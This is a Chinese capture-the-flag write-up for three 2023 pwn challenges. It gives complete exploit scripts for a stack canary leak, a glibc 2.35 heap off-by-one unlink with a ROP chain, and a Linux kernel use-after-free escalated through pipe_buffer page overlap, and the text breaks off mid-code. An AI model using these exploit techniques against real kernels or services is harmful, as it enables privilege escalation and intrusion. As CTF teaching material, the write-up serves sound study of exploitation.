0%

强网拟态CTF2023

controller_pwn

1
2
3
4
5
6
controller_pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b99c4c5065054620d93caef36ed671bfc30aa74b, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

简单栈溢出:

1
2
3
4
5
fflush(_bss_start);
read(0, buf, 0x30uLL);
printf("OK,get password %s:\n", buf);
fflush(_bss_start);
read(0, buf, 0x60uLL);

有后门:

1
2
3
4
int flag()
{
return system("cat flag");
}

入侵思路

第一个溢出泄露 canary,第二个溢出覆盖返回地址为后门地址

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './controller_pwn'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.27.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('pwn-26afcd498d.challenge.xctf.org.cn','9999',ssl=True)

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x8B8)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()

sa("command","a"*0x28+"b")

ru("OK,get password")
ru("b")

leak_data = u64(p.recv(7).ljust(8,b"\x00"))
canary = leak_data * 0x100
success("leak_data >> "+hex(leak_data))
success("canary >> "+hex(canary))

sleep(0.5)
p.send(b"a"*0x28+p64(canary)+b"b"*0x8+p8(0xa))

p.interactive()

noob_heap

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.4) stable release version 2.35.
1
2
3
4
5
6
noob_heap1: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5017d1695b20f77ecbb13c419848ac70f4edbafc, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开
1
2
3
4
5
6
7
8
9
10
11
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x15 0x00 0x01 0x0000009d if (A != prctl) goto 0010
0009: 0x06 0x00 0x00 0x00000000 return KILL
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW

漏洞分析

有 off-by-one 漏洞:

1
2
3
4
5
6
else if ( chunk_list[index] )
{
printf("Note: ");
chunk = chunk_list[index];
chunk[read(0, chunk, size_list[index])] = 0;// off-by-one
}

入侵思路

有 off-by-one 漏洞,因此需要打 unlink attack

本题目限制 chunk 大小,需要利用 scanf 中的 malloc 来触发 fast chunk 合并,得到 libc_base:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
add(0x78)
dele(0)
add(0x78)
show(0)

leak_addr = u64(p.recv(5).ljust(8,b"\x00"))*0x1000
heap_base = leak_addr
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

for i in range(32):
add(0x78)

for i in range(7):
dele(i)

for i in range(9):
dele(i+7)

cmd("1"*0x400)

for i in range(7):
add(0x78)
add(0x78)

show(7)
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = leak_addr - 0x21a0f0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

这里需要利用 fast chunk 的合并机制,堆布局如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Free chunk (fastbins) | PREV_INUSE
Addr: 0x55722449c810 /* chunk1 */
Size: 0x81
fd: 0x5577736b8c0c

Free chunk (fastbins) | PREV_INUSE
Addr: 0x55722449c890 /* chunk2 */
Size: 0x81
fd: 0x55722449c

Allocated chunk | PREV_INUSE
Addr: 0x55722449c910 /* chunk3 */
Size: 0x81

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55722449c990 /* chunk4 */
Size: 0x101
fd: 0x7fdeb0a19ce0
bk: 0x7fdeb0a19ce0
  • 通过 chunk3 覆盖 chunk4->size 的P位,同时在 chunk3 中伪造 fd,bk(为了通过 unlink 检查)
  • 使用 scanf 触发 fast chunk 合并:
    • 首先 chunk4 会进入 smallbin
    • 程序读取 chunk4->size 的P位为“0”,误以为 chunk3 是 fast chunk
    • 程序将 chunk1,chunk2,chunk3 这3个 fast chunk 合并

测试样例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
for i in range(6):
add(0x78)

for i in range(7):
dele(i)

fake_heap_addr = heap_base + 0x910
payload = ""
payload += p64(fake_heap_addr+0x18)+p64(fake_heap_addr+0x20)
payload += p64(0)+p64(0)
payload += p64(fake_heap_addr)

dele(12)
dele(11)
edit(13,payload.ljust(0x70,b"\x00")+p64(0x80))
cmd("1"*0x400)

for i in range(7):
add(0x78)
add(0x78)
add(0x78)

for i in range(7):
dele(i)
dele(12)
dele(11)
cmd("1"*0x400)

由于相邻 chunk->size 的P位为“1”,需要一些堆风水才能将 chunk3 申请回来,之后就可以实现 UAF

最后劫持 tcache,先通过 environ 泄露 stack_addr,后劫持返回地址写入 ORW 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './noob_heap1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p,"")
gdb.attach(p,"b *$rebase(0x1824)\n")
pause()

def cmd(op):
if(type(op) == int):
sla(">>",str(op))
else:
sla(">>",op)

def add(size):
cmd(1)
sla("Size: ",str(size))

def dele(index):
cmd(2)
sla("Index: ",str(index))

def edit(index,data):
cmd(3)
sla("Index: ",str(index))
sa("Note: ",data)

def show(index):
cmd(4)
sla("Index: ",str(index))

add(0x78)
dele(0)
add(0x78)
show(0)

leak_addr = u64(p.recv(5).ljust(8,b"\x00"))*0x1000
heap_base = leak_addr
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

for i in range(32):
add(0x78)

for i in range(7):
dele(i)

for i in range(9):
dele(i+7)

cmd("1"*0x400)

for i in range(7):
add(0x78)
add(0x78)

show(7)
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = leak_addr - 0x21a0f0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

for i in range(6):
add(0x78)

for i in range(7):
dele(i)

fake_heap_addr = heap_base + 0x910
payload = ""
payload += p64(fake_heap_addr+0x18)+p64(fake_heap_addr+0x20)
payload += p64(0)+p64(0)
payload += p64(fake_heap_addr)

dele(12)
dele(11)
edit(13,payload.ljust(0x70,b"\x00")+p64(0x80))
cmd("1"*0x400)

for i in range(7):
add(0x78)
add(0x78)
add(0x78)

for i in range(7):
dele(i)
dele(12)
dele(11)
cmd("1"*0x400)

fake_heap_addr = heap_base + 0x790
payload = ""
payload += p64(fake_heap_addr+0x18)+p64(fake_heap_addr+0x20)
payload += p64(0)+p64(0)
payload += p64(fake_heap_addr)

dele(9)
edit(10,payload.ljust(0x70,b"\x00")+p64(0x80))
cmd("1"*0x400)

for i in range(7):
add(0x78)

add(0x78)
add(0x78)
add(0x78)
add(0x78)

environ = libc_base + libc.sym['__environ']
key = (heap_base + 0x7a0) >> 12

for i in range(4):
dele(i)
dele(10)
edit(14,p64(environ ^ key))

add(0x78)
add(0x78)
show(1)
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
stack_addr = leak_addr - 0x140 - 0x8
success("leak_addr >> "+hex(leak_addr))
success("stack_addr >> "+hex(stack_addr))

pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_ret = libc_base + 0x00000000000796a2
pop_rax_ret = libc_base + 0x0000000000045eb0
open_libc = libc_base + libc.sym['open']
read_libc = libc_base + libc.sym['read']
write_libc = libc_base + libc.sym['write']

payload = "a"*0x18
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0x400)
payload += p64(read_libc)

dele(0)
edit(14,p64(stack_addr ^ key))
add(0x78)
add(0x78)

edit(4,"./flag".ljust(0x30,b"\x00"))
#debug()
edit(2,payload)

payload = b"a"*0x40
payload += p64(pop_rdi_ret) + p64(heap_base+0x3a0)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(open_libc)

payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(heap_base+0x3a0)
payload += p64(pop_rdx_ret) + p64(0x30)
payload += p64(read_libc)

payload += p64(pop_rdi_ret) + p64(1)
payload += p64(write_libc)
sleep(0.5)
sl(payload)

p.interactive()

water-ker

1
Linux version 6.4.0 (root@ubuntu-virtual-machine) (gcc (Ubuntu 9.4.0-1ubuntu1~23
1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-monitor /dev/null \
-append "root=/dev/ram console=ttyS0 oops=panic quiet panic=1 kaslr" \
-cpu kvm64,+smep,+smap\
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-no-reboot
  • smep,smap,kaslr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh

mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"

insmod /test.ko
chmod 666 /dev/water
chmod 740 /flag
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms

setsid /bin/cttyhack setuidgid 1000 /bin/sh

umount /proc
umount /tmp

poweroff -d 0 -f

首先下载并编译对应版本的内核

1
sudo apt-get install linux-image-6.2.0-36-generic-dbgsym

漏洞分析

一次 UAF 并且只能控制第1字节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
case 0x30u:
if ( !copy_from_user(&pointer, arg, 8LL) )
{
if ( delete_idx <= 0 && chunk )
{
kfree(chunk);
++delete_idx;
}
return 0LL;
}
return 0xFFFFFFFFFFFFFFEALL;
case 0x50u:
if ( !copy_from_user(&pointer, arg, 8LL) )
{
if ( edit_idx <= 0 && chunk && !copy_from_user(chunk, pointer.buf, 1LL) )
{
++edit_idx;
return 0LL;
}
return 0LL;
}
return 0xFFFFFFFFFFFFFFEALL;

入侵思路

具体的思路就是:

  • 申请堆 -> 释放 -> 堆喷内核结构体 -> 修改第1字节

需要利用的内核结构体就是 pipe_buffer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* size:0x28*0x10(kmalloc-0x400) */
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};
  • 当我们创建一个管道时,在内核中会生成16个连续的 pipe_buffer 结构体,申请的内存总大小刚好会让内核从 kmalloc-1k 中取出一个 object
  • pipe 系统调用提供了 fcntl(F_SETPIPE_SZ) 让我们可以重新分配 pipe_buffer 并指定其数量

内核结构体 pipe_buffer 的第一个条目为 page,覆盖末尾字节就可能导致 page 重叠:

下面是堆喷 pipe_buffer 的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
memset(buf,0x31,0x200);
ioctl(fd,0x20,&buf);
ioctl(fd,0x30,&buf);

for(int i = 0; i < PIPE_NUM; i++){
if(pipe(pipe_list[i]) == -1){
errPrint("pipe");
}
}

for (int i = 0; i < PIPE_NUM; i++){
if (fcntl(pipe_list[i][1], F_SETPIPE_SZ, 0x1000 * 8) < 0){
/* 8 * pipe_buffer = 0x180 kmalloc-512 */
errPrint("fcntl");
}
}

for (int i = 0; i < PIPE_NUM; i++){
write(pipe_list[i][1], "AAAAAAAA", 8); // tag
write(pipe_list[i][1], &i, sizeof(int));
write(pipe_list[i][1], &i, sizeof(int));
write(pipe_list[i][1], &i, sizeof(int));
write(pipe_list[i][1], "AAAAAAAA", 8);
write(pipe_list[i][1], "BBBBBBBB", 8);
}

memset(buf,0,0x200);
ioctl(fd,0x50,&buf); /* 覆盖pipe_buffer->page末尾字节 */

int victim_idx = -1;
int orig_idx = -1;
for (int i = 0; i < PIPE_NUM; i++){
char tag[0x10];
int nr;
memset(tag, 0, sizeof(tag));
read(pipe_list[i][0], tag, 8);
read(pipe_list[i][0], &nr, sizeof(int));
if (!strcmp(tag, "AAAAAAAA") && nr != i){
orig_idx = nr;
victim_idx = i;
printf("\033[32m\033[1m[+] Found index-%d and index-%d point the same page \033[0m\n",victim_idx, orig_idx);
}
}
if (orig_idx == -1 || victim_idx == -1){
errPrint("can't find");
}

调试信息如下:

1
2
3
4
5
6
pwndbg> telescope 0xffff888006e46600
00:0000│ rdi 0xffff888006e46600 —▸ 0xffffea00001bef80 ◂— 0xfffffc0000000 /* page */
01:00080xffff888006e46608 ◂— 0xc00000000 /* offset, len */
02:00100xffff888006e46610 —▸ 0xffffffff82246ec0 ◂— 0x0 /* ops */
03:00180xffff888006e46618 ◂— 0x10
04:00200xffff888006e46620 ◂— 0x0
1
2
3
4
5
6
pwndbg> telescope 0xffff888006e46600
00:0000│ r10 rdi-1 0xffff888006e46600 —▸ 0xffffea00001bef00 ◂— 0xfffffc0000000
01:00080xffff888006e46608 ◂— 0xc00000000
02:00100xffff888006e46610 —▸ 0xffffffff82246ec0 ◂— 0x0
03:00180xffff888006e46618 ◂— 0x10
04:00200xffff888006e46620 ◂— 0x0
  • 可以发现 page 末尾被覆盖
1
2
3
4
pwndbg> search -t qword 0xffffea00001bef00
Searching for value: b'\x00\xef\x1b\x00\x00\xea\xff\xff'
<pt> 0xffff888006e46600 0xffffea00001bef00
<pt> 0xffff888006e46a00 0xffffea00001bef00
  • 导致有两个 pipe_buffer 指向同一个 page

接下来就可以利用 UAF pipe_buffer 来泄露数据:

  • 释放 UAF pipe_buffer(4k的缓冲页也会被释放,释放之后数据不会清除仍然可读写)
  • 使用 fcntl(F_SETPIPE_SZ) 重新分配 pipe_buffer,部分的 pipe_buffer 就会被申请到之前我们释放的4k缓冲页上
  • 利用 UAF 对4k缓冲页进行读取就可以泄露地址

下面是测试样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
struct pipe_buffer info_pipe_buf;
size_t snd_pipe_sz = 0x1000 * (SND_PIPE_BUF_SZ / sizeof(struct pipe_buffer));

memset(buf,'p',sizeof(buf));
write(pipe_list[victim_idx][1], buf, SND_PIPE_BUF_SZ * 2 - 24 - 3 * sizeof(int));
close(pipe_list[orig_idx][0]); /* 释放其中一个pipe_buffer */
close(pipe_list[orig_idx][1]);

sleep(2);

puts("write down");

for (int i = 0; i < PIPE_NUM; i++){
if (i == orig_idx || i == victim_idx){
continue;
}
if (fcntl(pipe_list[i][1], F_SETPIPE_SZ, snd_pipe_sz) < 0){
/* 2 * pipe_buffer = 0x60 kmalloc-96 */
errPrint("Fcntl Pipe");
}
}

memset(buf,0,sizeof(buf));
read(pipe_list[victim_idx][0], buf, SND_PIPE_BUF_SZ - 8 - sizeof(int));
print_hex(buf,SND_PIPE_BUF_SZ - 8);
read(pipe_list[victim_idx][0], &info_pipe_buf, sizeof(info_pipe_buf));
print_hex((char*)&info_pipe_buf,sizeof(info_pipe_buf));

sleep(2);

printf("\033[34m\033[1m[?] info_pipe_buf->page: \033[0m%p\n"
"\033[34m\033[1m[?] info_pipe_buf->ops: \033[0m%p\n",
info_pipe_buf.page, info_pipe_buf.ops);

这里的调试需要一些技巧,在第一个 sleep(2) 之前使用 search -s AAAABBBBBBBBpppppppp 查找:

1
2
3
pwndbg> search -s AAAABBBBBBBBpppppppp
Searching for value: 'AAAABBBBBBBBpppppppp'
<pt> 0xffff88800749c018 'AAAABBBBBBBBpppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp'
  • AAAAAAAABBBBBBBB 是之前写入的数据,其详细信息如下:
1
2
3
4
5
pwndbg> telescope 0xffff88800749c018-0x18
00:00000xffff88800749c000 ◂— 0x4141414141414141 ('AAAAAAAA')
01:00080xffff88800749c008 ◂— 0x300000003
02:00100xffff88800749c010 ◂— 0x4141414100000003
03:00180xffff88800749c018 ◂— 'AAAABBBBBBBBpppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp'
  • 这里的 0xffff88800749c000 就是被释放的4k缓冲页

在第二个 sleep(2) 之前再次打印 0xffff88800749c000

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> telescope 0xffff88800749c018-0x18
00:00000xffff88800749c000 —▸ 0xffffea00001d5f40 ◂— 0xfffffc0000000
01:00080xffff88800749c008 ◂— 0x180000000c /* '\x0c' */
02:00100xffff88800749c010 —▸ 0xffffffff82246ec0 (__entry_text_end+283401) ◂— 0x0
03:00180xffff88800749c018 ◂— 0x10
04:00200xffff88800749c020 ◂— 0x0
... ↓ 3 skipped
08:00400xffff88800749c040 ◂— 0x0
... ↓ 3 skipped
0c:00600xffff88800749c060 —▸ 0xffffea00001d5cc0 ◂— 0xfffffc0000000
0d:00680xffff88800749c068 ◂— 0x180000000c /* '\x0c' */
0e:00700xffff88800749c070 —▸ 0xffffffff82246ec0 (__entry_text_end+283401) ◂— 0x0
0f:00780xffff88800749c078 ◂— 0x10
  • 第一次 read(pipe_list[victim_idx][0] 将会从 0xffff88800749c00c 开始,读取 84 字节到 0xffff88800749c060
  • 第二次 read(pipe_list[victim_idx][0] 就会泄露位于 0xffff88800749c060pipe_buffer

泄露数据以后,我们就可以通过 write(pipe_list[victim_idx][1]) 来覆写 pipe_buffer,利用这一点可以构造自写管道:

在第一次 UAF 时我们获取到了 page 结构体的地址,而 page 结构体的大小固定为 0x40,试想若是我们可以不断地修改一个 pipe 的 page 指针,则我们便能完成对整个内存空间的任意读写

再次重新分配 pipe_buffer 结构体到第二级 page-level UAF 页面上,由于这张物理页面对应的 page 结构体的地址对我们而言是已知的,我们可以直接让这张页面上的 pipe_buffer 的 page 指针指向自身,从而直接完成对自身的修改

修改可控的 pipe_buffer2->page,即可完成二级 UAF:

用同样的方法将 pipe_buffer3 申请到4k缓冲页上,接着覆盖 pipe_buffer3->pagepipe_buffer2->page

测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
info_pipe_buf.page = (struct page *)((size_t)info_pipe_buf.page + 0x40);
write(pipe_list[victim_idx][1], &info_pipe_buf, sizeof(info_pipe_buf));
puts("change pipe_buffer down");

sleep(2);

int snd_orig_idx = -1;
int snd_victim_idx = -1;
for (int i = 0; i < PIPE_NUM; i++){ /* 第二次堆喷 */
int nr;
if (i == orig_idx || i == victim_idx){
continue;
}
read(pipe_list[i][0], &nr, sizeof(int));
if (i < PIPE_NUM && i != nr){
snd_orig_idx = nr;
snd_victim_idx = i;
printf("\033[32m\033[1m[+] Found index-%d and index-%d point the same page \033[0m\n",snd_victim_idx, snd_orig_idx);
}
}

if (snd_orig_idx == -1 || snd_victim_idx == -1){
errPrint("can't find");
}

size_t trd_pipe_sz = 0x1000 * (TRD_PIPE_BUF_SZ / sizeof(struct pipe_buffer));
struct pipe_buffer evil_pipe_buf;
struct page *page_ptr;

memset(buf,'k',sizeof(buf));
write(pipe_list[snd_victim_idx][1], buf, TRD_PIPE_BUF_SZ - 24 - 3 * sizeof(int));
close(pipe_list[snd_orig_idx][0]);
close(pipe_list[snd_orig_idx][1]);

puts("write down");
sleep(2);

for (int i = 0; i < PIPE_NUM; i++){
if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx){
continue;
}

if (fcntl(pipe_list[i][1], F_SETPIPE_SZ, trd_pipe_sz) < 0){
/* 4 * pipe_buffer = 0xc0 kmalloc-192 */
errPrint("Fcntl Pipe");
}
}

puts("fcntl down");
sleep(2);

evil_pipe_buf.page = info_pipe_buf.page;
evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
evil_pipe_buf.ops = info_pipe_buf.ops;
evil_pipe_buf.flags = info_pipe_buf.flags;
evil_pipe_buf.private = info_pipe_buf.private;

write(pipe_list[snd_victim_idx][1], &evil_pipe_buf, sizeof(evil_pipe_buf));
puts("change pipe_buffer down");

调试信息如下:

1
2
3
00:00000xffff888002fd1aa0 —▸ 0xffffea00001d54c0 ◂— 0xfffffc0000000
01:00080xffff888002fd1aa8 ◂— 0x180000000c /* '\x0c' */
02:00100xffff888002fd1ab0 —▸ 0xffffffff82246ec0 (__entry_text_end+283401) ◂— 0x0
1
2
3
00:00000xffff888002fd1aa0 —▸ 0xffffea00001d5500 ◂— 0xfffffc0000000
01:00080xffff888002fd1aa8 ◂— 0x180000000c /* '\x0c' */
02:00100xffff888002fd1ab0 —▸ 0xffffffff82246ec0 (__entry_text_end+283401) ◂— 0x0
  • 修改 pipe_buffer 获取第二次 UAF
1
2
3
pwndbg> search -s AAAABBBBBBBBkkkkkkkk
Searching for value: 'AAAABBBBBBBBkkkkkkkk'
<pt> 0xffff888007554018 'AAAABBBBBBBBkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk'
  • 和之前的调试方法一样,先查找 write(pipe_list[snd_victim_idx][1]) 写入的位置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> telescope 0xffff888007554018-0x18
00:00000xffff888007554000 —▸ 0xffffea00001d2440 ◂— 0xfffffc0000000
01:00080xffff888007554008 ◂— 0x1400000010
02:00100xffff888007554010 —▸ 0xffffffff82246ec0 (__entry_text_end+283401) ◂— 0x0
03:00180xffff888007554018 ◂— 0x10
04:00200xffff888007554020 ◂— 0x0
... ↓ 3 skipped
08:00400xffff888007554040 ◂— 0x0
... ↓ 7 skipped
10:00800xffff888007554080 ◂— 0x0
... ↓ 7 skipped
18:00c0│ 0xffff8880075540c0 —▸ 0xffffea00001d3cc0 ◂— 0xfffffc0000000
19:00c8│ 0xffff8880075540c8 ◂— 0x1400000010
1a:00d0│ 0xffff8880075540d0 —▸ 0xffffffff82246ec0 (__entry_text_end+283401) ◂— 0x0
1b:00d8│ 0xffff8880075540d8 ◂— 0x10
1c:00e00xffff8880075540e0 ◂— 0x0
... ↓ 3 skipped
20:01000xffff888007554100 ◂— 0x0
  • 起始地址为 0xffff888007554024,由 write(pipe_list[snd_victim_idx][1]) 写入 156 字节,因此下次覆盖的地址为 0xffff8880075540c0
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0xffff888007554018-0x18
......
18:00c0│ 0xffff8880075540c0 —▸ 0xffffea00001d5500 ◂— 0xfffffc0000200
19:00c8│ 0xffff8880075540c8 ◂— 0xc0000000c0
1a:00d0│ 0xffff8880075540d0 —▸ 0xffffffff82246ec0 (__entry_text_end+283401) ◂— 0x0
1b:00d8│ 0xffff8880075540d8 ◂— 0x10
1c:00e00xffff8880075540e0 ◂— 0x0
... ↓ 3 skipped
20:01000xffff888007554100 ◂— 0x0
  • 覆盖位于 0xffff8880075540c0pipe_buffer
  • 位于 0xffffea00001d5500page 结构体会映射到 0xffff888007554000
  • 执行 write(pipe_list[target][1]) 时可以修改 pipe_buffer 本身,这相当于一个 self-writing pipe

通过如下代码可以构造另外两个 self-writing pipe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
for (int i = 0; i < PIPE_NUM; i++){
if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx){
continue;
}

read(pipe_list[i][0], &page_ptr, sizeof(page_ptr));
printf("%p\n",page_ptr);
if (page_ptr == evil_pipe_buf.page){
self_2nd_pipe_idx = i;
printf("\033[32m\033[1m[+] Found self-writing pipe:\033[0m%d\n",
self_2nd_pipe_idx);
break;
}
}

evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
evil_pipe_buf.len = TRD_PIPE_BUF_SZ;

memset(buf,'n',sizeof(buf));
write(pipe_list[snd_victim_idx][1], buf, TRD_PIPE_BUF_SZ - sizeof(evil_pipe_buf));
sleep(2);
write(pipe_list[snd_victim_idx][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

puts("change pipe_buffer down");
sleep(2);

for (int i = 0; i < PIPE_NUM; i++){
if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx || i == self_2nd_pipe_idx){
continue;
}

read(pipe_list[i][0], &page_ptr, sizeof(page_ptr));
printf("%p\n",page_ptr);
if (page_ptr == evil_pipe_buf.page){
self_3rd_pipe_idx = i;
printf("\033[32m\033[1m[+] Found self-writing pipe:\033[0m"
"%d\n",
self_3rd_pipe_idx);
break;
}
}

evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
evil_pipe_buf.len = TRD_PIPE_BUF_SZ;

memset(buf,'m',sizeof(buf));
write(pipe_list[snd_victim_idx][1], buf, TRD_PIPE_BUF_SZ - sizeof(evil_pipe_buf));
sleep(2);
write(pipe_list[snd_victim_idx][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

puts("change pipe_buffer down");
sleep(2);

for (int i = 0; i < PIPE_NUM; i++){
if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx || i == self_2nd_pipe_idx || i == self_3rd_pipe_idx){
continue;
}

